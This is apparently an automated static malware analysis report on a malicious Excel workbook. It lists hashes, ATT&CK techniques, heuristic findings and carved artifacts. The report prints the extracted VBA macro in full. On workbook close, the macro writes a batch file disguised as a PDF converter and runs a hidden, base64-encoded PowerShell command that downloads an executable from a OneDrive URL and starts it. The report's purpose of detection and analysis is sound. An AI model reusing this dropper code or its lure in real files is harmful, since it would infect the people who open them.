Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 540c4284f4542b60…

MALICIOUS

Office (OOXML)

392.0 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-12
MD5: a0c2efe6b4c0b4ed990c6e3090e2e800 SHA-1: 9f410eed06b2168a9bcbd554d8df64f0aed023b6 SHA-256: 540c4284f4542b60b9c77585513951b5ec0ace06c5b025fb5b72355fadc1bafb
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is an Excel document containing VBA macros that prompt the user to "Enable Content" to view the document. The VBA code, when executed, creates and runs a batch file that in turn executes a PowerShell command. This PowerShell command is heavily encoded and is responsible for downloading and executing a second-stage payload from the URL http://onedrive.live.com/download?cid=66CA4BCE216B212C%26resid=66CA4BCE216B212CB7C9%26authkey=AK9igA1RewfsQf, saving it as Vfmjubaskgqbfmjobjvd.exe.

Heuristics 7

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (4) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 4 external hyperlinks — clickable URLs are stored as external relationships. First target: https://go.microsoft.com/fwlink/?linkid=844732
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://go.microsoft.com/fwlink/?linkid=844732 Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844741Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844736Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844747Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844746Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844728Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844735Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844725Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844738Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844749Document hyperlink
    • http://go.microsoft.com/fwlink/?LinkId=846285Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844745Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844751Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844743Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844750Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844726Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844742Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844734Document hyperlink
    • http://go.microsoft.com/fwlink/?LinkId=844969Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5484 bytes
SHA-256: d0088ebbff467a8ad21c0232defebfd435cf44019f747e87ea0550b0e38757a2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
YouTube
End Sub

Private Sub YouTube()
On Error Resume Next
Dim i As Double
Dim sBatchFile As String
ActiveWorkbook.Save
sBatchFile = "Bxwyizwezcjvraatsvhoa.bat"
Open sBatchFile For Output As #1
    Print #1, "@ECHO OFF"
    Print #1, "ECHO Converting Excel Files to PDF, Please wait..."
    Print #1, "start /MIN C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBWAG0AaQBqAHUAYgBhAHMAawBnAHEAYgBmAG0AagBvAGIAdgBkAC4AZQB4AGUAIgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAcwA6AC8ALwBvAG4AZQBkAHIAaQB2AGUALgBsAGkAdgBlAC4AYwBvAG0ALwBkAG8AdwBuAGwAbwBhAGQAPwBjAGkAZAA9ADYANgBDAEEAQgA0AEIAQwBFADIAMQA2AEIAQgA3ADkAJgByAGUAcwBpAGQAPQA2ADYAQwBBAEIANABCAEMARQAyADEANgBCAEIANwA5ACUAMgAxADIANwAwACYAYQB1AHQAaABrAGUAeQA9AEEASwA5AGkAZwBBADEAUgBlAHcAUwBmAGwAUQBFACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA="
    Close #1
    i = Shell(sBatchFile, vbHide)
End Sub

Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "1. Add"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "2. Fill"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "3. Split"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "4. Transpose"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "5. Sort & filter"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "6. Tables"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "7. Drop-downs"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "8. Analyze"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attr
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: 27c1615a8e37ecec239a9bcf3493a106f65a336aa49f8d94d7c20c319052ae20

Open this report in the interactive analyzer, or submit your own file for analysis.